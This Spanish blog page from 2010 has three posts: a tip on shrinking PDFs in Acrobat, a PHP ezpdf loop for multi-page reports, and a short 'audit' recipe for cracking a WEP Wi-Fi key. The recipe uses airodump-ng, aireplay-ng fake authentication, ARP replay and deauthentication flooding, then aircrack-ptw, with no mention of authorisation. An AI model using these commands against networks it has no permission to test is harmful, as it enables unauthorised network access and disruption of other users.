miércoles, 10 de noviembre de 2010

Optimizar o reducir el tamaño de un archivo PDF

Resulta que tienes un archivo PDF y no lo puedes enviar por email o subirlo como documento a internet por estar pesado. Hay una de tantas maneras de reducir el tamaño de un PDF

Por ejemplo, mi caso es que escanée tres documentos cuyo peso total en un documento PDF era de 2.7MB. Mi problema era que para enviar dicho documentos a x página, el archivo PDF debía pesar como máximo 1MB.

Otros casos que se me han presentado es de documentos PDF que pesan 8MB y que hay que reducirlos a menos de 2 MB.

Esto lo puedes hacer con el Adobe Acrobat Pro.

Para pronto lo que hay que hacer es:

1.- abrir el archivo que se desea comprimir o reducir su tamaño con dicho programa.
2.- Darle en el menú superior en Archivo, luego pasas el mouse sobre "Guardar como otro", y de ahí dale clic en donde dice "PDF de tamaño reducirdo ..."
3.- Ahora se te aparecerá la ventana de guardar. Yo le doy ese mismo nombre de archivo que tenía agregándole _r, para conservar el original por si acaso y el que termina _r significa para mí "R de reducido".

Cómo reducir el tamaño de un PDF


¡Es todo!

martes, 10 de agosto de 2010

EZpdf: How to print several pages given different variables in one PDF document

I am using the ezpdf class in order to print several reports in PDF format using PHP programming.

I finally found a way to print different pages. 

This is the situation:

for each page, my php script retrieves a specific variable value from a database to print a report. Then the page is generated and i add another page using $pdf->ezNewPage() function and so on until my loop finishes.

Finally i call the function $php->ezStream to print all the pages in just one PDF file.

here it's my code:

//script para imprimir todos los bloques en un sólo archivo pdf !!! Sehr Geil! oder?
include ('class.ezpdf.php');
include('conn.inc');
mysql_select_db('evaluacioneducativa',$link);

//empezaremos aquí el loop, para cada bloque hay que imprimir el reporte:
//buscando los distintos bloques de la generacion 2008
$fetch_bloques=mysql_query("SELECT DISTINCT (CONCAT(.. AS bloque_seccion
FROM bloque ...
WHERE ...") or die('Hubo un error al buscar los bloques porque:
'.mysql_error());

//we first create a document pdf:
$pdf =& new Cezpdf();
//setting up a counter
$contados=mysql_num_rows($fetch_bloques);
$counter_pages=1; //initializing this counter so that we won't print the last page as a blank one.
//for each variable found in the database:
while($row_bloque=mysql_fetch_array($fetch_bloques))
{//INICIO DEL SUPER WHILE
$bloque=$row_bloque['bloque_seccion'];
//echo "bloque: $bloque
";
//vamos a imprimir el documento en cuestión:
include "basic_format_pdf_08.php";
//we open a new page using an IF clause to avoid printing the last page which will be a blank one
if($counter_pages<$contados)
{
$pdf->ezNewPage();
}
$counter_pages++;

}//FIN DEL SUPER WHILE

//finally we print the whole document
$pdf->ezStream();
?>
 

domingo, 18 de julio de 2010

Auditoria de redes inalámbricas (simplificado)

Auditoria simplificada 

Primero anotar la siguiente información:

  • canal del AP
  • nombre del AP
  • Dirección MAC del AP

En la consola teclear los siguientes comandos:

#airodump-ng -w [nombre captura??] -c12 wlan0

en donde -c12 corresponde al número del canal y wlan0 al tipo de antena que se está utilizando (alfa network 1). Para otros casos, puede ser ath0 cuando se utiliza, por ejemplo, una tarjeta PCMCIA.

Luego proceder a abrir otras consolas y teclear los siguientes comandos ... todavía sin teclear enter.

#aireplay-ng wlan0 --fakeauth 135 -e [nombre AP] -a [MAC AP] -h [mi MAC]

#aireplay-ng wlan0 --arpreplay -e [nombre AP] -b [MAC AP] -h [mi MAC] -x 1000

#aireplay-ng wlan0 --deauth 0 -e [nombre AP] -a [MAC AP] -h [mi MAC]

Finalmente presionamos a todas enter y listo. A capturar IVs cuando sea posible.

Para obtener la clave:

#aircrack-ptw nombre captura??.cap

esperamos un rato y

key found!

 

Tags